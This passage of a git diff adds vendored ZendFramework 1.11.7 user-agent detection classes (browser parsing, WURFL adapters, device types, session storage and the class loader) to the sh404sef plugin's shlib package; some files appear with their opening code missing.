(empty($result['device_os_token']) && !empty($result['compatibility_flag'])) { + // some browsers do not have a platform token + $result['device_os_token'] = $result['compatibility_flag']; + } + if ($match2) { + $i = 0; + $max = count($match2[0]); + for ($i = 0; $i < $max; $i ++) { + if (!empty($match2[0][$i])) { + $result['others']['detail'][] = array( + $match2[0][$i], + $match2[2][$i], + $match2[4][$i], + ); + } + } + } + + /** Security level */ + $security = array( + 'N' => 'no security', + 'U' => 'strong security', + 'I' => 'weak security', + ); + if (!empty($result['browser_token'])) { + if (isset($security[$result['browser_token']])) { + $result['security_level'] = $security[$result['browser_token']]; + unset($result['browser_token']); + } + } + + $product = strtolower($result['browser_name']); + + // Mozilla : true && false + $compatibleOrIe = false; + if (isset($result['compatibility_flag']) && isset($result['comment'])) { + $compatibleOrIe = ($result['compatibility_flag'] == 'compatible' || strpos($result['comment']['full'], "MSIE") !== false); + } + if ($product == 'mozilla' && $compatibleOrIe) { + if (!empty($result['browser_token'])) { + // Classic Mozilla chain + preg_match_all('/([^\/\s].*)(\/|\s)(.*)/i', $result['browser_token'], $real); + } else { + // MSIE specific chain with 'Windows' compatibility flag + foreach ($result['comment']['detail'] as $v) { + if (strpos($v, 'MSIE') !== false) { + $real[0][1] = trim($v); + $result['browser_engine'] = "MSIE"; + $real[1][0] = "Internet Explorer"; + $temp = explode(' ', trim($v)); + $real[3][0] = $temp[1]; + + } + if (strpos($v, 'Win') !== false) { + $result['device_os_token'] = trim($v); + } + } + } + + if (!empty($real[0])) { + $result['browser_name'] = $real[1][0]; + $result['browser_version'] = $real[3][0]; + } else { + $result['browser_name'] = $result['browser_token']; + $result['browser_version'] = '??'; + } + } elseif ($product == 'mozilla' && $result['browser_version'] < 5.0) { + // handles the real Mozilla (or old Netscape if version < 5.0) + $result['browser_name'] = 'Netscape'; + } + + /** windows */ + if ($result['browser_name'] == 'MSIE') { + $result['browser_engine'] = 'MSIE'; + $result['browser_name'] = 'Internet Explorer'; + } + if (isset($result['device_os_token'])) { + if (strpos($result['device_os_token'], 'Win') !== false) { + + $windows = array( + 'Windows NT 6.1' => 'Windows 7', + 'Windows NT 6.0' => 'Windows Vista', + 'Windows NT 5.2' => 'Windows Server 2003', + 'Windows NT 5.1' => 'Windows XP', + 'Windows NT 5.01' => 'Windows 2000 SP1', + 'Windows NT 5.0' => 'Windows 2000', + 'Windows NT 4.0' => 'Microsoft Windows NT 4.0', + 'WinNT' => 'Microsoft Windows NT 4.0', + 'Windows 98; Win 9x 4.90' => 'Windows Me', + 'Windows 98' => 'Windows 98', + 'Win98' => 'Windows 98', + 'Windows 95' => 'Windows 95', + 'Win95' => 'Windows 95', + 'Windows CE' => 'Windows CE', + ); + if (isset($windows[$result['device_os_token']])) { + $result['device_os_name'] = $windows[$result['device_os_token']]; + } else { + $result['device_os_name'] = $result['device_os_token']; + } + } + } + + // iphone + $apple_device = array( + 'iPhone', + 'iPod', + 'iPad', + ); + if (isset($result['compatibility_flag'])) { + if (in_array($result['compatibility_flag'], $apple_device)) { + $result['device'] = strtolower($result['compatibility_flag']); + $result['device_os_token'] = 'iPhone OS'; + $result['browser_language'] = trim($comment[3]); + $result['browser_version'] = $result['others']['detail'][1][2]; + if (!empty($result['others']['detail'][2])) { + $result['firmware'] = $result['others']['detail'][2][2]; + } + if (!empty($result['others']['detail'][3])) { + $result['browser_name'] = $result['others']['detail'][3][1]; + $result['browser_build'] = $result['others']['detail'][3][2]; + } + } + } + + // Safari + if (isset($result['others'])) { + if ($result['others']['detail'][0][1] == 'AppleWebKit') { + $result['browser_engine'] = 'AppleWebKit'; + if ($result['others']['detail'][1][1] == 'Version') { + $result['browser_version'] = $result['others']['detail'][1][2]; + } else { + $result['browser_version'] = $result['others']['detail'][count($result['others']['detail']) - 1][2]; + } + if (isset($comment[3])) { + $result['browser_language'] = trim($comment[3]); + } + + $last = $result['others']['detail'][count($result['others']['detail']) - 1][1]; + + if (empty($result['others']['detail'][2][1]) || $result['others']['detail'][2][1] == 'Safari') { + $result['browser_name'] = ($result['others']['detail'][1][1] && $result['others']['detail'][1][1] != 'Version' ? $result['others']['detail'][1][1] : 'Safari'); + $result['browser_version'] = ($result['others']['detail'][1][2] ? $result['others']['detail'][1][2] : $result['others']['detail'][0][2]); + } else { + $result['browser_name'] = $result['others']['detail'][2][1]; + $result['browser_version'] = $result['others']['detail'][2][2]; + + // mobile version + if ($result['browser_name'] == 'Mobile') { + $result['browser_name'] = 'Safari ' . $result['browser_name']; + if ($result['others']['detail'][1][1] == 'Version') { + $result['browser_version'] = $result['others']['detail'][1][2]; + } + } + } + + // For Safari < 2.2, AppleWebKit version gives the Safari version + if (strpos($result['browser_version'], '.') > 2 || (int) $result['browser_version'] > 20) { + $temp = explode('.', $result['browser_version']); + $build = (int) $temp[0]; + $awkVersion = array( + 48 => '0.8', + 73 => '0.9', + 85 => '1.0', + 103 => '1.1', + 124 => '1.2', + 300 => '1.3', + 400 => '2.0', + ); + foreach ($awkVersion as $k => $v) { + if ($build >= $k) { + $result['browser_version'] = $v; + } + } + } + } + + // Gecko (Firefox or compatible) + if ($result['others']['detail'][0][1] == 'Gecko') { + $searchRV = true; + if (!empty($result['others']['detail'][1][1]) && !empty($result['others']['detail'][count($result['others']['detail']) - 1][2]) || strpos(strtolower($result['others']['full']), 'opera') !== false) { + $searchRV = false; + $result['browser_engine'] = $result['others']['detail'][0][1]; + + // the name of the application is at the end indepenently + // of quantity of information in $result['others']['detail'] + $last = count($result['others']['detail']) - 1; + + // exception : if the version of the last information is + // empty we take the previous one + if (empty($result['others']['detail'][$last][2])) { + $last --; + } + + // exception : if the last one is 'Red Hat' or 'Debian' => + // use rv: to find browser_version */ + if (in_array($result['others']['detail'][$last][1], array( + 'Debian', + 'Hat', + ))) { + $searchRV = true; + } + $result['browser_name'] = $result['others']['detail'][$last][1]; + $result['browser_version'] = $result['others']['detail'][$last][2]; + if (isset($comment[4])) { + $result['browser_build'] = trim($comment[4]); + } + if (isset($comment[3])) { + $result['browser_language'] = trim($comment[3]); + } + + // Netscape + if ($result['browser_name'] == 'Navigator' || $result['browser_name'] == 'Netscape6') { + $result['browser_name'] = 'Netscape'; + } + } + if ($searchRV) { + // Mozilla alone : the version is identified by rv: + $result['browser_name'] = 'Mozilla'; + if (isset($result['comment']['detail'])) { + foreach ($result['comment']['detail'] as $rv) { + if (strpos($rv, 'rv:') !== false) { + $result['browser_version'] = trim(str_replace('rv:', '', $rv)); + } + } + } + } + } + + // Netscape + if ($result['others']['detail'][0][1] == 'Netscape') { + $result['browser_name'] = 'Netscape'; + $result['browser_version'] = $result['others']['detail'][0][2]; + } + + // Opera + // Opera: engine Presto + if ($result['others']['detail'][0][1] == 'Presto') { + $result['browser_engine'] = 'Presto'; + if (!empty($result['others']['detail'][1][2])) { + $result['browser_version'] = $result['others']['detail'][1][2]; + } + } + + // UA ends with 'Opera X.XX' + if ($result['others']['detail'][0][1] == 'Opera') { + $result['browser_name'] = $result['others']['detail'][0][1]; + $result['browser_version'] = $result['others']['detail'][1][1]; + } + + // Opera Mini + if (isset($result["browser_token"])) { + if (strpos($result["browser_token"], 'Opera Mini') !== false) { + $result['browser_name'] = 'Opera Mini'; + } + } + + // Symbian + if ($result['others']['detail'][0][1] == 'SymbianOS') { + $result['device_os_token'] = 'SymbianOS'; + } + } + + // UA ends with 'Opera X.XX' + if (isset($result['browser_name']) && isset($result['browser_engine'])) { + if ($result['browser_name'] == 'Opera' && $result['browser_engine'] == 'Gecko' && empty($result['browser_version'])) { + $result['browser_version'] = $result['others']['detail'][count($result['others']['detail']) - 1][1]; + } + } + + // cleanup + if (isset($result['browser_version']) && isset($result['browser_build'])) { + if ($result['browser_version'] == $result['browser_build']) { + unset($result['browser_build']); + } + } + + // compatibility + $compatibility['AppleWebKit'] = 'Safari'; + $compatibility['Gecko'] = 'Firefox'; + $compatibility['MSIE'] = 'Internet Explorer'; + $compatibility['Presto'] = 'Opera'; + if (!empty($result['browser_engine'])) { + if (isset($compatibility[$result['browser_engine']])) { + $result['browser_compatibility'] = $compatibility[$result['browser_engine']]; + } + } + + ksort($result); + return $result; + } + + /** + * Loads the Features Adapter if it's defined in the $config array + * Otherwise, nothing is done + * + * @param string $browserType Browser type + * @return array + */ + protected function _loadFeaturesAdapter() + { + $config = $this->_config; + $browserType = $this->getType(); + if (!isset($config[$browserType]) || !isset($config[$browserType]['features'])) { + return array(); + } + $config = $config[$browserType]['features']; + + if (empty($config['classname'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception('The ' . $this->getType() . ' features adapter must have a "classname" config parameter defined'); + } + + $className = $config['classname']; + if (!class_exists($className)) { + if (isset($config['path'])) { + $path = $config['path']; + } else { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception('The ' . $this->getType() . ' features adapter must have a "path" config parameter defined'); + } + + if (false === include_once ($path)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Exception.php'; + throw new Zendshl_Http_UserAgent_Exception('The ' . $this->getType() . ' features adapter path that does not exist'); + } + } + + return call_user_func(array($className, 'getFromRequest'), $this->_server, $this->_config); + } + + /** + * Retrieve image format support + * + * @return array + */ + public function getImageFormatSupport() + { + return $this->_images; + } + + /** + * Get maximum image height supported by this device + * + * @return int + */ + public function getMaxImageHeight() + { + return null; + } + + /** + * Get maximum image width supported by this device + * + * @return int + */ + public function getMaxImageWidth() + { + return null; + } + + /** + * Get physical screen height of this device + * + * @return int + */ + public function getPhysicalScreenHeight() + { + return null; + } + + /** + * Get physical screen width of this device + * + * @return int + */ + public function getPhysicalScreenWidth() + { + return null; + } + + /** + * Get preferred markup type + * + * @return string + */ + public function getPreferredMarkup() + { + return 'xhtml'; + } + + /** + * Get supported X/HTML version + * + * @return int + */ + public function getXhtmlSupportLevel() + { + return 4; + } + + /** + * Does the device support Flash? + * + * @return bool + */ + public function hasFlashSupport() + { + return true; + } + + /** + * Does the device support PDF? + * + * @return bool + */ + public function hasPdfSupport() + { + return true; + } + + /** + * Does the device have a phone number associated with it? + * + * @return bool + */ + public function hasPhoneNumber() + { + return false; + } + + /** + * Does the device support HTTPS? + * + * @return bool + */ + public function httpsSupport() + { + return true; + } + + /** + * Get the browser type + * + * @return string + */ + public function getBrowser() + { + return $this->_browser; + } + + /** + * Get the browser version + * + * @return string + */ + public function getBrowserVersion() + { + return $this->_browserVersion; + } + + /** + * Get the user agent string + * + * @return string + */ + public function getUserAgent() + { + return $this->_userAgent; + } + + /** + * @return the $_images + */ + public function getImages() + { + return $this->_images; + } + + /** + * @param string $browser + */ + public function setBrowser($browser) + { + $this->_browser = $browser; + } + + /** + * @param string $browserVersion + */ + public function setBrowserVersion($browserVersion) + { + $this->_browserVersion = $browserVersion; + } + + /** + * @param string $userAgent + */ + public function setUserAgent($userAgent) + { + $this->_userAgent = $userAgent; + return $this; + } + + /** + * @param array $_images + */ + public function setImages($_images) + { + $this->_images = $_images; + } + + /** + * Match a user agent string against a list of signatures + * + * @param string $userAgent + * @param array $signatures + * @return bool + */ + protected static function _matchAgentAgainstSignatures($userAgent, $signatures) + { + $userAgent = strtolower($userAgent); + foreach ($signatures as $signature) { + if (!empty($signature)) { + if (strpos($userAgent, $signature) !== false) { + // Browser signature was found in user agent string + return true; + } + } + } + return false; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php new file mode 100644 index 00000000..be2d768e --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php @@ -0,0 +1,131 @@ +getDeviceCapabilitiesFromRequest(array_change_key_case($request, CASE_UPPER)); + + return self::getAllCapabilities($wurflObj); + } + + /*** + * Builds an array with all capabilities + * + * @param TeraWurfl $wurflObj TeraWurfl object + */ + public static function getAllCapabilities(TeraWurfl $wurflObj) + { + + foreach ($wurflObj->capabilities as $group) { + if (!is_array($group)) { + continue; + } + while (list ($key, $value) = each($group)) { + if (is_bool($value)) { + // to have the same type than the official WURFL API + $features[$key] = ($value ? 'true' : 'false'); + } else { + $features[$key] = $value; + } + } + } + return $features; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php new file mode 100644 index 00000000..6d46c5f1 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php @@ -0,0 +1,104 @@ +wurflFile($c['wurfl']['main-file']) + ->wurflPatch($c['wurfl']['patches']) + ->persistence($c['persistence']['provider'], $c['persistence']['dir']); + } + + $wurflManagerFactory = new WURFL_WURFLManagerFactory($wurflConfig); + $wurflManager = $wurflManagerFactory->create(); + break; + default: + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Features/Exception.php'; + throw new Zendshl_Http_UserAgent_Features_Exception(sprintf( + 'Unknown API version "%s"', + $config['wurfl_api_version'] + )); + } + + $device = $wurflManager->getDeviceForHttpRequest(array_change_key_case($request, CASE_UPPER)); + $features = $device->getAllCapabilities(); + return $features; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php new file mode 100644 index 00000000..56b51e3a --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php @@ -0,0 +1,37 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php new file mode 100644 index 00000000..d9c4a03c --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php @@ -0,0 +1,82 @@ +setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php new file mode 100644 index 00000000..471234d4 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php @@ -0,0 +1,537 @@ +setFeature('is_wireless_device', false, 'product_info'); + + parent::_defineFeatures(); + + if (isset($this->_aFeatures["mobile_browser"])) { + $this->setFeature("browser_name", $this->_aFeatures["mobile_browser"]); + $this->_browser = $this->_aFeatures["mobile_browser"]; + } + if (isset($this->_aFeatures["mobile_browser_version"])) { + $this->setFeature("browser_version", $this->_aFeatures["mobile_browser_version"]); + $this->_browserVersion = $this->_aFeatures["mobile_browser_version"]; + } + + // markup + if ($this->getFeature('device_os') == 'iPhone OS' + || $this->getFeature('device_os_token') == 'iPhone OS' + ) { + $this->setFeature('markup', 'iphone'); + } else { + $this->setFeature('markup', $this->getMarkupLanguage($this->getFeature('preferred_markup'))); + } + + // image format + $this->_images = array(); + + if ($this->getFeature('png')) { + $this->_images[] = 'png'; + } + if ($this->getFeature('jpg')) { + $this->_images[] = 'jpg'; + } + if ($this->getFeature('gif')) { + $this->_images[] = 'gif'; + } + if ($this->getFeature('wbmp')) { + $this->_images[] = 'wbmp'; + } + + return $this->_aFeatures; + } + + /** + * Determine markup language expected + * + * @access public + * @return __TYPE__ + */ + public function getMarkupLanguage($preferredMarkup = null) + { + $return = ''; + switch ($preferredMarkup) { + case 'wml_1_1': + case 'wml_1_2': + case 'wml_1_3': + $return = 'wml'; //text/vnd.wap.wml encoding="ISO-8859-15" + case 'html_wi_imode_compact_generic': + case 'html_wi_imode_html_1': + case 'html_wi_imode_html_2': + case 'html_wi_imode_html_3': + case 'html_wi_imode_html_4': + case 'html_wi_imode_html_5': + $return = 'chtml'; //text/html + case 'html_wi_oma_xhtmlmp_1_0': //application/vnd.wap.xhtml+xml + case 'html_wi_w3_xhtmlbasic': //application/xhtml+xml DTD XHTML Basic 1.0 + $return = 'xhtml'; + case 'html_web_3_2': //text/html DTD Html 3.2 Final + case 'html_web_4_0': //text/html DTD Html 4.01 Transitional + $return = ''; + } + return $return; + } + + /** + * Determine image format support + * + * @return array + */ + public function getImageFormatSupport() + { + return $this->_images; + } + + /** + * Determine maximum image height supported + * + * @return int + */ + public function getMaxImageHeight() + { + return $this->getFeature('max_image_height'); + } + + /** + * Determine maximum image width supported + * + * @return int + */ + public function getMaxImageWidth() + { + return $this->getFeature('max_image_width'); + } + + /** + * Determine physical screen height + * + * @return int + */ + public function getPhysicalScreenHeight() + { + return $this->getFeature('physical_screen_height'); + } + + /** + * Determine physical screen width + * + * @return int + */ + public function getPhysicalScreenWidth() + { + return $this->getFeature('physical_screen_width'); + } + + /** + * Determine preferred markup + * + * @return string + */ + public function getPreferredMarkup() + { + return $this->getFeature("markup"); + } + + /** + * Determine X/HTML support level + * + * @return int + */ + public function getXhtmlSupportLevel() + { + return $this->getFeature('xhtml_support_level'); + } + + /** + * Does the device support Flash? + * + * @return bool + */ + public function hasFlashSupport() + { + return $this->getFeature('fl_browser'); + } + + /** + * Does the device support PDF? + * + * @return bool + */ + public function hasPdfSupport() + { + return $this->getFeature('pdf_support'); + } + + /** + * Does the device have an associated phone number? + * + * @return bool + */ + public function hasPhoneNumber() + { + return $this->getFeature('can_assign_phone_number'); + } + + /** + * Does the device support HTTPS? + * + * @return bool + */ + public function httpsSupport() + { + return ($this->getFeature('https_support') == 'supported'); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php new file mode 100644 index 00000000..64947c7e --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php @@ -0,0 +1,71 @@ +setFeature('images', false, 'product_capability'); + $this->setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php new file mode 100644 index 00000000..2bcf21ed --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php @@ -0,0 +1,80 @@ +setFeature('images', false, 'product_capability'); + $this->setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php new file mode 100644 index 00000000..89f650bd --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php @@ -0,0 +1,66 @@ +_data); + } + + /** + * Returns the contents of storage + * + * Behavior is undefined when storage is empty. + * + * @throws Zendshl_Http_UserAgent_Storage_Exception If reading contents from storage is impossible + * @return mixed + */ + public function read() + { + return $this->_data; + } + + /** + * Writes $contents to storage + * + * @param mixed $contents + * @throws Zendshl_Http_UserAgent_Storage_Exception If writing $contents to storage is impossible + * @return void + */ + public function write($contents) + { + $this->_data = $contents; + } + + /** + * Clears contents from storage + * + * @throws Zendshl_Http_UserAgent_Storage_Exception If clearing contents from storage is impossible + * @return void + */ + public function clear() + { + $this->_data = null; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php new file mode 100644 index 00000000..42614659 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php @@ -0,0 +1,167 @@ +toArray(); + } elseif (is_object($options)) { + $options = (array) $options; + } + if (null !== $options && !is_array($options)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/UserAgent/Storage/Exception.php'; + throw new Zendshl_Http_UserAgent_Storage_Exception(sprintf( + 'Expected array or object options; "%s" provided', + gettype($options) + )); + } + + // add '.' to prevent the message ''Session namespace must not start with a number' + $this->_namespace = '.' + . (isset($options['browser_type']) + ? $options['browser_type'] + : self::NAMESPACE_DEFAULT); + $this->_member = isset($options['member']) ? $options['member'] : self::MEMBER_DEFAULT; + $this->_session = new Zendshl_Session_Namespace($this->_namespace); + } + + /** + * Returns the session namespace name + * + * @return string + */ + public function getNamespace() + { + return $this->_namespace; + } + + /** + * Returns the name of the session object member + * + * @return string + */ + public function getMember() + { + return $this->_member; + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @return boolean + */ + public function isEmpty() + { + return empty($this->_session->{$this->_member}); + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @return mixed + */ + public function read() + { + return $this->_session->{$this->_member}; + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @param mixed $contents + * @return void + */ + public function write($content) + { + $this->_session->{$this->_member} = $content; + } + + /** + * Defined by Zendshl_Http_UserAgent_Storage + * + * @return void + */ + public function clear() + { + unset($this->_session->{$this->_member}); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php new file mode 100644 index 00000000..eaca6982 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php @@ -0,0 +1,133 @@ +setFeature('images', false, 'product_capability'); + $this->setFeature('iframes', false, 'product_capability'); + $this->setFeature('frames', false, 'product_capability'); + $this->setFeature('javascript', false, 'product_capability'); + return parent::_defineFeatures(); + } + + /** + * Determine supported image formats + * + * @return null + */ + public function getImageFormatSupport() + { + return null; + } + + /** + * Get preferred markup format + * + * @return string + */ + public function getPreferredMarkup() + { + return 'xhtml'; + } + + /** + * Get supported X/HTML markup level + * + * @return int + */ + public function getXhtmlSupportLevel() + { + return 1; + } + + /** + * Does the device support Flash? + * + * @return bool + */ + public function hasFlashSupport() + { + + return false; + } + + /** + * Does the device support PDF? + * + * @return bool + */ + public function hasPdfSupport() + { + return false; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php new file mode 100644 index 00000000..bdb29c82 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php @@ -0,0 +1,74 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php new file mode 100644 index 00000000..ab063c0c --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php @@ -0,0 +1,330 @@ + $dir) { + if ($dir == '.') { + $dirs[$key] = $dirPath; + } else { + $dir = rtrim($dir, '\\/'); + $dirs[$key] = $dir . DIRECTORY_SEPARATOR . $dirPath; + } + } + $file = basename($file); + self::loadFile($file, $dirs, true); + } else { + self::loadFile($file, null, true); + } + + if (!class_exists($class, false) && !interface_exists($class, false)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Exception.php'; + throw new Zendshl_Exception("File \"$file\" does not exist or class \"$class\" was not found in the file"); + } + } + + /** + * Loads a PHP file. This is a wrapper for PHP's include() function. + * + * $filename must be the complete filename, including any + * extension such as ".php". Note that a security check is performed that + * does not permit extended characters in the filename. This method is + * intended for loading Zend Framework files. + * + * If $dirs is a string or an array, it will search the directories + * in the order supplied, and attempt to load the first matching file. + * + * If the file was not found in the $dirs, or if no $dirs were specified, + * it will attempt to load it from PHP's include_path. + * + * If $once is TRUE, it will use include_once() instead of include(). + * + * @param string $filename + * @param string|array $dirs - OPTIONAL either a path or array of paths + * to search. + * @param boolean $once + * @return boolean + * @throws Zendshl_Exception + */ + public static function loadFile($filename, $dirs = null, $once = false) + { + self::_securityCheck($filename); + + /** + * Search in provided directories, as well as include_path + */ + $incPath = false; + if (!empty($dirs) && (is_array($dirs) || is_string($dirs))) { + if (is_array($dirs)) { + $dirs = implode(PATH_SEPARATOR, $dirs); + } + $incPath = get_include_path(); + set_include_path($dirs . PATH_SEPARATOR . $incPath); + } + + /** + * Try finding for the plain filename in the include_path. + */ + if ($once) { + include_once $filename; + } else { + include $filename; + } + + /** + * If searching in directories, reset include_path + */ + if ($incPath) { + set_include_path($incPath); + } + + return true; + } + + /** + * Returns TRUE if the $filename is readable, or FALSE otherwise. + * This function uses the PHP include_path, where PHP's is_readable() + * does not. + * + * Note from ZF-2900: + * If you use custom error handler, please check whether return value + * from error_reporting() is zero or not. + * At mark of fopen() can not suppress warning if the handler is used. + * + * @param string $filename + * @return boolean + */ + public static function isReadable($filename) + { + if (is_readable($filename)) { + // Return early if the filename is readable without needing the + // include_path + return true; + } + + if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' + && preg_match('/^[a-z]:/i', $filename) + ) { + // If on windows, and path provided is clearly an absolute path, + // return false immediately + return false; + } + + foreach (self::explodeIncludePath() as $path) { + if ($path == '.') { + if (is_readable($filename)) { + return true; + } + continue; + } + $file = $path . '/' . $filename; + if (is_readable($file)) { + return true; + } + } + return false; + } + + /** + * Explode an include path into an array + * + * If no path provided, uses current include_path. Works around issues that + * occur when the path includes stream schemas. + * + * @param string|null $path + * @return array + */ + public static function explodeIncludePath($path = null) + { + if (null === $path) { + $path = get_include_path(); + } + + if (PATH_SEPARATOR == ':') { + // On *nix systems, include_paths which include paths with a stream + // schema cannot be safely explode'd, so we have to be a bit more + // intelligent in the approach. + $paths = preg_split('#:(?!//)#', $path); + } else { + $paths = explode(PATH_SEPARATOR, $path); + } + return $paths; + } + + /** + * spl_autoload() suitable implementation for supporting class autoloading. + * + * Attach to spl_autoload() using the following: + * + * spl_autoload_register(array('Zendshl_Loader', 'autoload')); + * + * + * @deprecated Since 1.8.0 + * @param string $class + * @return string|false Class name on success; false on failure + */ + public static function 